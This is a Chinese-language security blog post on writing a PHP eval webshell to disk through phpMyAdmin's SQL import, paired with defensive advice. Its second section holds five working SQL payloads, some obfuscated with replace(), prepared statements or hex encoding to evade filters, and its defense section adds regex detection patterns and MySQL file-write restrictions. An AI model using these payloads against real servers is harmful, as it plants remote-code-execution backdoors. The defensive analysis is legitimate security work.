Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk

Andrew.Hann發表於2015-02-25

目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在於由於phpMyAdmin跟其他PHP程式一樣在網頁伺服器上執行,但是您可以在任何地方使用這些程式產生的HTML頁面,也就是於遠端管理MySQL資料庫,方便的建立、修改、刪除資料庫及資料表。也可藉由phpMyAdmin建立常用的php語法,方便編寫網頁時所需要的sql語法正確性

0x1: Mysql SQL預編譯(PREPARE Syntax)

/*
1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later. 
2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements. 
*/
PREPARE stmt_name FROM preparable_stmt

0x2: Mysql SQL執行(EXECUTE Syntax)

EXECUTE stmt_name
    [USING @var_name [, @var_name] ...]
//After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.

Relevant Link:

https://dev.mysql.com/doc/refman/5.0/en/prepare.html
https://dev.mysql.com/doc/refman/5.0/en/execute.html
http://zone.wooyun.org/content/22606


2. 漏洞觸發條件

1. 已知phpmyadmin的root密碼,即mysql的root密碼(phpmyadmin只是通過web方式連線mysql的工具)
    1) mysql本身預設的弱口令
    2) 通過其他漏洞(例如注入)獲得了mysql的root密碼
2. 已知網站的物理路徑
    1) 在phpmyadmin的後臺的"變數"tab頁面,可以看到mysql的物理路徑,從而推測出網站的物理路徑
    2) 通過其他web漏洞獲得網站的物理路徑

通過phpmyadmin進行getshell的核心就是通過sql進行檔案寫的操作,常見的sql如下

----1---
DROP TABLE IF EXISTS `a`;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('xx');
select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
Drop TABLE IF EXISTS a;
----1---

----2---
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
----2---

----3---
set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
prepare a from @strSql;
execute a; 
----3---

----4---
//select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
PREPARE test FROM @SQLString;
EXECUTE test;
----4---

----5---
//declared mysql function
use test;
delimiter $$ 
CREATE FUNCTION myFunction
(in_string VARCHAR(255))
RETURNS VARCHAR(255)

BEGIN
DECLARE new_string VARCHAR(255);
SET new_string = replace(in_string,"outo","into"); 
RETURN(new_string);
END$$

//hack
delimiter ;
SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
PREPARE test FROM @SQLString;
EXECUTE test;
----5---

Relevant Link:

http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695


3. 漏洞影響範圍

全部phpmyadmin版本


4. 漏洞程式碼分析

/phpMyAdmin/import.php

所有處理使用者自定義SQL解析執行的邏輯都在這個PHP檔案中實現

/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql) 
{
    // parse sql query
    include_once 'libraries/parse_analyze.inc.php';

    if (isset($ajax_reload) && $ajax_reload['reload'] === true) 
    {
        $response = PMA_Response::getInstance();
        $response->addJSON('ajax_reload', $ajax_reload);
    }
    PMA_executeQueryAndSendQueryResponse(
        $analyzed_sql_results, false, $db, $table, null, $import_text, null,
        $analyzed_sql_results['is_affected'], null,
        null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
        null, null
    );
} 
else if ($result) 
{
    // Save a Bookmark with more than one queries (if Bookmark label given).
    if (! empty($_POST['bkm_label']) && ! empty($import_text)) 
    {
        PMA_storeTheQueryAsBookmark(
            $db, $GLOBALS['cfg']['Bookmark']['user'],
            $import_text, $_POST['bkm_label'],
            isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
        );
    }

    $response = PMA_Response::getInstance();
    $response->isSuccess(true);
    $response->addJSON('message', PMA_Message::success($msg));
    $response->addJSON(
        'sql_query',
        PMA_Util::getMessage($msg, $sql_query, 'success')
    );
} 
else if ($result == false) 
{
    $response = PMA_Response::getInstance();
    $response->isSuccess(false);
    $response->addJSON('message', PMA_Message::error($msg));
} 
else 
{
    $active_page = $goto;
    include '' . $goto;
}


5. 防禦方法

對變數$import_text進行惡意檢查是我們針對phpmyadmin執行sql匯出檔案getshell攻擊的防禦思路
/phpMyAdmin/import.php

} elseif (! empty($id_bookmark)) {
    // run bookmark
    $import_type = 'query';
    $format = 'sql';
}
 
//在檔案的最開頭進行SQL惡意檢測,最大程度地相容所有pmd的sql解析、執行邏輯
if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[0]; die($erromsg); } 
//file name filter
$matchResult = preg_match_all("#\b(0[xX]){0,1}[0-9a-fA-F]+\b#", $import_text, $matchs);
if($matchResult != 0 && $matchResult != FALSE)
{ 
    foreach ($matchs[0] as $key => $value) 
    { 
        $hex = substr($value, 2);
        $import_text_hex = hex2bin($hex);
        if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[0]; die($pmderromsg); } 
    }
} 

要特別注意的是,在使用PHP的正則匹配引擎的時候,需要考慮到換行場景下的bypass風險
還需要注意的,MYSQL存在很多擴充套件語法,例如

1. 定義儲存過程
2. 定義函式
3. 定義觸發器
4. 使用語法預處理編譯
/*
prepare stmt from 'select count(*) from information_schema.schemata';
這裡待編譯的sql語句也可以進行字元變形以此進行bypass
execute stmt;
*/

從攻防的本質上來講,phpmyadmin的自定義sql匯出shell介面這裡的修復只是防禦了攻擊的一條向量,黑客還可以通過其他的攻擊向量發起攻擊

1. 通過mysql弱口令,進mysql,新增一個賬戶,開啟遠端外連
2. 通過mysql命令列連線之後,通過命令列執行sql匯出檔案

要想做到徹底防禦,要從多個角度入手進行防禦

1. 對phpmyadmin的/import.php進行程式碼層防禦,禁止使用者執行匯出檔案相關的GETSHELL
2. 對mysql的弱口令密碼進行健康檢測,提示管理員修改密碼
3. 使用主動防禦Hook技術,接管檔案系統,禁止mysql進行寫xxx.php檔案

0x2: 許可權ACL控制

mysql5.7以後新增了對檔案操作的ACL控制

--secure-file-priv=dir_name

Command-Line Format --secure-file-priv=dir_name
System Variable Name secure_file_priv
Variable Scope Global
Dynamic Variable No
Permitted Values (<= 5.7.5) Type string
Default empty
Valid Values empty
dirname
Permitted Values (>= 5.7.6) Type string
Default platform specific
Valid Values empty
dirname
NULL

 

預設情況下,利用mysql檔案匯出寫shell會遇到如下錯誤

需要手工新增信任目錄

Relevant Link:

http://php.net/manual/en/function.preg-match.php#111573
http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv

 

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

相關文章